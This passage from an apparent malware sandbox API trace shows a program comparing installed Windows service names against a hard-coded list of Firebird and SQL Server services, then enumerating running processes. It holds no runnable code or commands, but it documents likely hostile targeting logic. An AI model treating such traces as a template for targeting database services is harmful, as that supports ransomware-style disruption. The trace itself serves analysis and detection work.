(lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0081.509] lstrlenW (lpString="EventLog") returned 8 [0081.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0081.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0081.510] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0081.510] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0081.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0081.510] lstrlenW (lpString="EventSystem") returned 11 [0081.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0081.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0081.510] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0081.510] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0081.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0081.510] lstrlenW (lpString="FontCache") returned 9 [0081.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0081.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0081.510] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0081.510] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0081.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0081.510] lstrlenW (lpString="gpsvc") returned 5 [0081.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0081.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0081.510] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0081.510] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0081.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0081.510] lstrlenW (lpString="iphlpsvc") returned 8 [0081.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0081.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0081.510] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0081.510] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0081.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0081.510] lstrlenW (lpString="KeyIso") returned 6 [0081.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0081.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0081.510] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0081.510] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0081.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0081.510] lstrlenW (lpString="LanmanServer") returned 12 [0081.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0081.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0081.511] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0081.511] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0081.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0081.511] lstrlenW (lpString="LanmanWorkstation") returned 17 [0081.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0081.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0081.511] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0081.511] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0081.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0081.511] lstrlenW (lpString="lfsvc") returned 5 [0081.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0081.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0081.511] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0081.511] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0081.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0081.511] lstrlenW (lpString="lmhosts") returned 7 [0081.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0081.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0081.511] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0081.511] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0081.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0081.511] lstrlenW (lpString="LSM") returned 3 [0081.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0081.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0081.511] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0081.511] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0081.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0081.511] lstrlenW (lpString="MapsBroker") returned 10 [0081.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0081.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0081.511] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0081.511] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0081.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0081.511] lstrlenW (lpString="MpsSvc") returned 6 [0081.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0081.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0081.512] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0081.512] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0081.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0081.512] lstrlenW (lpString="NcbService") returned 10 [0081.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0081.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0081.512] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0081.512] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0081.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0081.512] lstrlenW (lpString="netprofm") returned 8 [0081.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0081.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0081.512] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0081.512] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0081.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0081.512] lstrlenW (lpString="NlaSvc") returned 6 [0081.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0081.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0081.512] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0081.512] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0081.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0081.512] lstrlenW (lpString="nsi") returned 3 [0081.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0081.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0081.512] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0081.512] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0081.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0081.512] lstrlenW (lpString="PcaSvc") returned 6 [0081.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0081.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0081.512] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0081.512] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0081.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0081.512] lstrlenW (lpString="PlugPlay") returned 8 [0081.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0081.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0081.513] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0081.513] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0081.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0081.513] lstrlenW (lpString="Power") returned 5 [0081.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0081.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0081.513] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0081.513] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0081.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0081.513] lstrlenW (lpString="ProfSvc") returned 7 [0081.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0081.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0081.513] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0081.513] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0081.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0081.513] lstrlenW (lpString="RpcEptMapper") returned 12 [0081.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0081.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0081.513] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0081.513] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0081.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0081.513] lstrlenW (lpString="RpcSs") returned 5 [0081.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0081.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0081.513] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0081.513] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0081.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0081.513] lstrlenW (lpString="SamSs") returned 5 [0081.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0081.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0081.513] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0081.513] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0081.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0081.513] lstrlenW (lpString="Schedule") returned 8 [0081.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0081.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0081.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0081.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0081.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0081.514] lstrlenW (lpString="SecurityHealthService") returned 21 [0081.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0081.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0081.514] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0081.514] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0081.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0081.514] lstrlenW (lpString="SENS") returned 4 [0081.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0081.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0081.514] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0081.514] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0081.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0081.514] lstrlenW (lpString="ShellHWDetection") returned 16 [0081.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0081.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0081.514] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0081.514] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0081.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0081.514] lstrlenW (lpString="Spooler") returned 7 [0081.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0081.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0081.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0081.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0081.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0081.514] lstrlenW (lpString="SSDPSRV") returned 7 [0081.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0081.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0081.514] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0081.514] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0081.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0081.514] lstrlenW (lpString="StateRepository") returned 15 [0081.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0081.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0081.515] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0081.515] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0081.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0081.515] lstrlenW (lpString="SysMain") returned 7 [0081.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0081.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0081.515] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0081.515] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0081.515] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f3b70 | out: hHeap=0x490000) returned 1 [0081.515] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0081.855] Process32FirstW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0081.855] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0081.856] lstrlenW (lpString="System") returned 6 [0081.856] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0081.857] lstrlenW (lpString="smss.exe") returned 8 [0081.857] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0081.857] lstrlenW (lpString="csrss.exe") returned 9 [0081.857] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0081.858] lstrlenW (lpString="wininit.exe") returned 11 [0081.858] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0081.858] lstrlenW (lpString="csrss.exe") returned 9 [0081.858] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0081.859] lstrlenW (lpString="winlogon.exe") returned 12 [0081.859] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0081.859] lstrlenW (lpString="services.exe") returned 12 [0081.859] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0081.860] lstrlenW (lpString="lsass.exe") returned 9 [0081.860] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.860] lstrlenW (lpString="svchost.exe") returned 11 [0081.860] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0081.861] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0081.861] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0081.861] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0081.861] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.862] lstrlenW (lpString="svchost.exe") returned 11 [0081.862] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0081.862] lstrlenW (lpString="dwm.exe") returned 7 [0081.862] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5e, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.863] lstrlenW (lpString="svchost.exe") returned 11 [0081.863] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.863] lstrlenW (lpString="svchost.exe") returned 11 [0081.863] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.864] lstrlenW (lpString="svchost.exe") returned 11 [0081.864] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.864] lstrlenW (lpString="svchost.exe") returned 11 [0081.864] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.865] lstrlenW (lpString="svchost.exe") returned 11 [0081.865] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.865] lstrlenW (lpString="svchost.exe") returned 11 [0081.866] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.866] lstrlenW (lpString="svchost.exe") returned 11 [0081.866] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.867] lstrlenW (lpString="svchost.exe") returned 11 [0081.867] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.867] lstrlenW (lpString="svchost.exe") returned 11 [0081.867] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.868] lstrlenW (lpString="svchost.exe") returned 11 [0081.868] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0081.868] lstrlenW (lpString="spoolsv.exe") returned 11 [0081.868] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.869] lstrlenW (lpString="svchost.exe") returned 11 [0081.869] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0081.869] lstrlenW (lpString="audiodg.exe") returned 11 [0081.869] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0081.870] lstrlenW (lpString="sihost.exe") returned 10 [0081.870] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.870] lstrlenW (lpString="svchost.exe") returned 11 [0081.870] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0081.871] lstrlenW (lpString="taskhostw.exe") returned 13 [0081.871] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7c0, 